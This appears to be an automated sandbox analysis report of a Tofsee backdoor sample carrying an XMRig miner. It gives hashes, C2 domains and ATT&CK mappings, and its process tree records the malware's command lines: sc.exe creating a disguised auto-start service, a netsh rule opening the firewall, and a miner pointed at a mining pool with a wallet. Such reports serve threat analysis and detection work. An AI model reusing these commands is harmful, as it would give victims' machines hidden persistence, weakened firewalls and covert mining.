Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    30-11-2022 02:04

General

  • Target

    38684693053584c3cab7a9de72d95a8a1bd010351ce1c023505f36b770f7fa62.exe

  • Size

    148KB

  • MD5

    53538af5c50d7630c126e6c2dff32c7b

  • SHA1

    19d9fc9ad096addf16608b6f13ea24bd042c6c51

  • SHA256

    38684693053584c3cab7a9de72d95a8a1bd010351ce1c023505f36b770f7fa62

  • SHA512

    4d234a9e726d6fb5822e5a31c00d63f0ac6aa0bad4c129c270d18fe7168a6760a030dc3c48305a88350756c4836b373a081070622cc32806af6b71c221c7db68

  • SSDEEP

    3072:i2cTyeE8AeWn5ku22jifgRimvWkdpvbY:CTyx8Aej2jdzek/Y

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\38684693053584c3cab7a9de72d95a8a1bd010351ce1c023505f36b770f7fa62.exe
    "C:\Users\Admin\AppData\Local\Temp\38684693053584c3cab7a9de72d95a8a1bd010351ce1c023505f36b770f7fa62.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\heecyke\
      2⤵
        PID:2012
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\shvslrnq.exe" C:\Windows\SysWOW64\heecyke\
        2⤵
          PID:1292
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create heecyke binPath= "C:\Windows\SysWOW64\heecyke\shvslrnq.exe /d\"C:\Users\Admin\AppData\Local\Temp\38684693053584c3cab7a9de72d95a8a1bd010351ce1c023505f36b770f7fa62.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:820
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description heecyke "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1048
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start heecyke
          2⤵
          • Launches sc.exe
          PID:964
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:968
      • C:\Windows\SysWOW64\heecyke\shvslrnq.exe
        C:\Windows\SysWOW64\heecyke\shvslrnq.exe /d"C:\Users\Admin\AppData\Local\Temp\38684693053584c3cab7a9de72d95a8a1bd010351ce1c023505f36b770f7fa62.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1420
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1608

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\shvslrnq.exe
        Filesize

        11.2MB

        MD5

        11a4a6b5473c9323379a97d8a696cd81

        SHA1

        0a3d038a32a39afd2888020606e5205a218d361b

        SHA256

        898c76ab82c9ead95ae0f39a28af21789ab9f8522f7e7c40488399a70600d59a

        SHA512

        289688573418127b7c8d26935f7e36bd9579667d714b39790d9f47bb12b8426ab32e43eb5c8a2ef8fc569702fc0c39eca2a7c4e286e691e3d31c5cd39c154a36

      • C:\Windows\SysWOW64\heecyke\shvslrnq.exe
        Filesize

        11.2MB

        MD5

        11a4a6b5473c9323379a97d8a696cd81

        SHA1

        0a3d038a32a39afd2888020606e5205a218d361b

        SHA256

        898c76ab82c9ead95ae0f39a28af21789ab9f8522f7e7c40488399a70600d59a

        SHA512

        289688573418127b7c8d26935f7e36bd9579667d714b39790d9f47bb12b8426ab32e43eb5c8a2ef8fc569702fc0c39eca2a7c4e286e691e3d31c5cd39c154a36

      • memory/820-62-0x0000000000000000-mapping.dmp
      • memory/964-64-0x0000000000000000-mapping.dmp
      • memory/968-66-0x0000000000000000-mapping.dmp
      • memory/1048-63-0x0000000000000000-mapping.dmp
      • memory/1292-60-0x0000000000000000-mapping.dmp
      • memory/1368-55-0x0000000000230000-0x0000000000330000-memory.dmp
        Filesize

        1024KB

      • memory/1368-58-0x0000000000400000-0x0000000000AD7000-memory.dmp
        Filesize

        6.8MB

      • memory/1368-57-0x0000000076071000-0x0000000076073000-memory.dmp
        Filesize

        8KB

      • memory/1368-68-0x0000000000400000-0x0000000000AD7000-memory.dmp
        Filesize

        6.8MB

      • memory/1368-56-0x00000000003A0000-0x00000000003B3000-memory.dmp
        Filesize

        76KB

      • memory/1368-67-0x00000000003A0000-0x00000000003B3000-memory.dmp
        Filesize

        76KB

      • memory/1420-73-0x0000000000089A6B-mapping.dmp
      • memory/1420-99-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1420-72-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1420-96-0x00000000001F0000-0x00000000001F7000-memory.dmp
        Filesize

        28KB

      • memory/1420-70-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1420-93-0x00000000058F0000-0x0000000005CFB000-memory.dmp
        Filesize

        4.0MB

      • memory/1420-79-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1420-81-0x0000000001920000-0x0000000001B2F000-memory.dmp
        Filesize

        2.1MB

      • memory/1420-84-0x00000000000A0000-0x00000000000A6000-memory.dmp
        Filesize

        24KB

      • memory/1420-87-0x0000000000190000-0x00000000001A0000-memory.dmp
        Filesize

        64KB

      • memory/1420-90-0x00000000001E0000-0x00000000001E5000-memory.dmp
        Filesize

        20KB

      • memory/1608-100-0x0000000000240000-0x0000000000331000-memory.dmp
        Filesize

        964KB

      • memory/1608-102-0x0000000000240000-0x0000000000331000-memory.dmp
        Filesize

        964KB

      • memory/1608-107-0x00000000002D259C-mapping.dmp
      • memory/1928-78-0x0000000000400000-0x0000000000AD7000-memory.dmp
        Filesize

        6.8MB

      • memory/1928-75-0x00000000002AB000-0x00000000002BC000-memory.dmp
        Filesize

        68KB

      • memory/2012-59-0x0000000000000000-mapping.dmp